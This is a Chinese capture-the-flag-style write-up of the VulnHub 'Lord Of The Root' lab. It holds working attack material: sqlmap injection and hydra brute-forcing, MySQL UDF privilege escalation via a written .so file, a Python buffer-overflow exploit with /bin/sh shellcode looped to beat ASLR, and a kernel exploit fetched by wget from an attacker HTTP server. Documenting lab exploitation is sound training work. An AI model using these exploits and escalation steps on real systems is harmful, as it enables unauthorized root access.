作者:forwhy 本文已经作者同意并授权

靶场地址 :Lord Of The Root: 1.0.1 ~ VulnHub

2015年出的靶场,有点老了,想把vulnhub上有关OSCP的靶场全部打一遍,这是第一个,我水平有限,文中错误的地方如果有人发现希望能指正

我自己打这个靶机用的UDF提权,后来又发现可以用缓冲区溢出,正好最近在学习缓冲区溢出,所以在本篇文章里还会用缓冲区溢出来提权。

主机发现

arp-scan -l

找到主机ip后使用nmap扫一下

nmap -sV -sC -T4 192.168.0.4 -p-

只有一个22端口打开的,访问一下

好像是ssh敲门,我这里本来是用nc 依次访问靶机的1,2,3端口,但是没反应,然后使用nmap

命令如下

for port in $(seq 1 3 ) ; do nmap 192.168.0.4 -p $port & done

然后连接ssh还是没啥变化,那就再用nmap扫一下端口

1337端口开放了,而且还是http服务,访问一下

页面很简单,那就用dirburster扫一下目录

只有一个/images/目录,访问一下

三张照片,图片内容本身没有多少有用信息,但是根据第一张图片在。/images/hipster页面的源码中发现了密文

经过两次解密发现隐藏目录

访问发现是个登陆界面

感觉这里面会存在注入,但是手工试了试没发现,直接使用burp抓包放到sqlmap里面跑一下,是时间盲注

因为这里是复现,靶机ip已经换了,这里就不跑了贴两张打靶过程中截的图

sqlmap -r bachang –threads=10 –batch

#bachang存放的是burp抓的包

我先在网页登陆界面把Webapp里面的用户密码试了一遍,都能登陆上,但界面都是一张图片,而且没啥可用信息,mysql中的root用户密码可以解密出来为darkshadow,这里就想到有可能会使用mysql 提权

Web页面没找到有用信息,那就把这些用户名密码放到txt文件中,用hydra爆破一下

发现可用账号,离root又近了一步

登陆上去看一下,没有发现有用信息,后来才发现居然没注意到根目录下的SECRET,其实就算发现了以自己的经验也想不到缓冲区溢出,想到了也做不出来

由于没找到有用信息,那就想到尝试一下mysql UDF提权,

UDF提权

简单说一下UDF提权,UDP就是自定义函数,是为了方便用户按照需求自定义函数去实现功能而设计的,linux中UDF提权原理是,通过mysql中的root用户写入一个包含恶意函数的.so文件,然后通过恶意函数以root身份执行命令,达到提权的目的。

UDF提权条件为,首先为root用户,并且secure_file_priv这个参数要为空(即有写入权限)

这个so文件在sqlmap中可以找到,在kali中的地址为(我这里是32位地址)

/usr/share/sqlmap/udf/mysql/linux/32/lib_mysqludf_sys.so_

不过这个文件是加密的,要先解密,执行命令

python /usr/share/sqlmap/extra/cloak/cloak.py  -d -i /usr/share/sqlmap/data/udf/mysql/linux/32/lib_mysqludf_sys.so_

命令执行完成后,会在该文件同级目录下出现 lib_mysqludf_sys.so文件,这就是解密后的文件

文件准备完成之后,需要查看mysql中插件存放地址,这就是我们待会要写入so文件的地址

show variables like ‘%plugin%’;

接下来我们需要将解密后的so文件先转换成16进制然后通过mysql命令将文件写入到上面查询到的地址中

select unhex(‘so文件的16进制编码’) into dumpfile ‘/usr/lib/mysql/plugin/xxx.so’

先通过xxd将so文件转换成16进制存放在txt文件中,这里直接显示出来也行,不过需要去除每行的回车很麻烦

然后我写了一个小脚本帮我把文件中的换行给去除了

#!/bin/python

filename=input(‘please input filename’)

with open(filename,’r’) as fp:

text= fp.readlines()

s=”

for item in text:

s+=item.strip()

print(s)

然后复制这些代码,放到命令中

select unhex(‘so文件的16进制编码’) into dumpfile ‘/usr/lib/mysql/plugin/xxx.so’

执行完毕,界面显示有点乱,不过无伤大雅

然后执行命令

create function sys_eval returns string soname ‘test333.so’;

因为我之前已经创建过了,这里会报错

在这里贴几个我碰到的错误

1. 如果他显示invalid ELF header,那就有可能是你so文件没有解密直接使用

2.如果显示  shared library file too short,那就是16进制代码没写进去,你需要先把这条命令

select unhex(‘so文件的16进制编码’) into dumpfile ‘/usr/lib/mysql/plugin/xxx.so’敲上去,手动复制16进制代码填入unhex()函数中。

3.如果出现wrong ELF class: ELFCLASS64 有可能你用错so文件了,应该使用32位的so文件

接下来我们就能使用创建的sys_eval来执行命令了

缓冲区溢出提权

缓冲区溢出原理大致说一下就是,

假设我们做了一个应用,我们要与这个应用交互,并向他里面输入指令,本来这个功能只要输入最多20个字母就够了,所以我们就把存放用户输入数据的空间大小设置成了20,但是某些人不老实,往里面输入了24个字母,这下存放数据的空间满了,剩下四个还要放,这四个字母干脆把寄存器eip里面的内容给占了(你要知道,缓冲区如果满了,第一时间被覆盖的就是EIP),EIP中本来存放的是下一条需要执行的命令在系统中的地址,现在我们可以通过更改那24个字母中最后四个字母来更改EIP地址,那是不是我们就能控制下一次执行什么命令了,那我们如果往里面填写2400个字符这下除了EIP被覆盖其他的很多数据也被覆盖了,我们是不是可以把这2400个字符中的一部分改成我们的恶意代码,当我们把带着恶意代码的2400个字符传给应用,然后找到我们恶意代码的存放位置并且控制EIP跳到这个位置,那是不是我们的恶意代码就被执行了(如果没做任何缓冲区溢出防护,那我们每次传送这2400个字符,这些字符在系统中的位置都是固定的,这也是为什么我们能精准确定我们shellcode在系统中的位置)。

再简单提一嘴,为了防止缓冲区溢出,windows和linux也都做了一些防护,比如这个靶场中出现的ASLR:

一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的

这个技术就是为了让我们无法预测我们恶意代码存放的位置,那我们就没办法执行我们的恶意代码了

至于怎么绕过,我们需要以暴制暴,下面会有具体方法

存在缓冲区溢出漏洞的文件在根目录下的SECRET中,先看一下他们的文件信息

其中door3中的file文件与其他两个好像不一样

分别执行以下命令

./file $(python -c ‘print “A”*200’)

发现只有door3中的显示异常,可能存在缓冲区溢出

这里使用gdb工具进行调试

首先找出代码溢出位置,就是上文中的20

既然在测试中200个字节就已经产生了溢出,那就先去生成一个不重复的两百的字节大小的字符串

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200

将eip中的内容复制下来,通过kali中的另一个文件查找

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641

171,那我们尝试控制eip中的内容

命令

run $(python -c ‘print “A”*171+”BBBB”‘)

info r

我们成功的控制了eip中的内容,那我们再往里添加数据看他会出现在哪里,由于我在SECRET中他们三个目录下的file是不断改变的(就是在刚测试的时候是door1下的file有漏洞,但等会又变成door2下file存在漏洞了,我也不知道为什么),所以我把漏洞文件复制到当前用户的文件夹下执行

look! 他出现在esp中,那么只要让我们eip中的内容是我们esp的地址就行了,这里再提一嘴,因为计算机中的堆栈是先进后出就是我们若要构造esp的地址填充到eip中需要将esp地址反过来即

esp地址为’bffff610′

那我们往eip填写的数据需要是‘\x10\xf6\xff\xbf’,\x代表16进制

我们再看我们在/SECRET中执行的代码,这三次代码相同,但是每次esp地址却不同,甚至第三次他又没产生溢出漏洞,这就是我们上面讲的ASLR,他的地址在动态变化,防止我们制造出溢出漏洞,如何绕过他呢?

假设他每次地址都在随机变化,那我们只要指定一个地址填充到eip中,并不断执行构造溢出,那是不是他终究会出现随机到和我们指定的地址相同这种情况,时不时就会执行我们的shellcode

编写exp

#!/bin/python

import os

buf=”A”*171

shellcode=”\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80″

#for a in {1..1000}; do ./file $(python -c ‘print “A” * 171 + “\x40\xee\xff\xbf” + “\x90” * 2000 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80″‘); done

shell=buf+”\x11\xee\xff\xbf”+”C”*20000+”\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80″

for i in range(1,500):

os.system(‘./file’+” “+shell)

由于esp地址前两位一直是bf所以我们前两位不变,剩下六位随便填,不要填\x00就行,他有特殊含义不能被正确识别

代码中被注释的是我从其他作者文章中复制过来的,可以直接在shell中执行

执行命令

python /home/smeagol/door1/exploit.py

因为没有权限在SECRET中写代码,所以将代码写在当前用户目录中

执行之后。成功获取root权限

linux内核提权

使用下面的这个代码提权可以成功

将c文件复制到某个文件夹中然后在当前文件夹通过python开启http服务

使用wget获取c文件

wget http://192.168.0.48:8000/39166.c

编译并执行c文件

gcc 39166.c -o exp#编译

./exp #执行

成功getshell!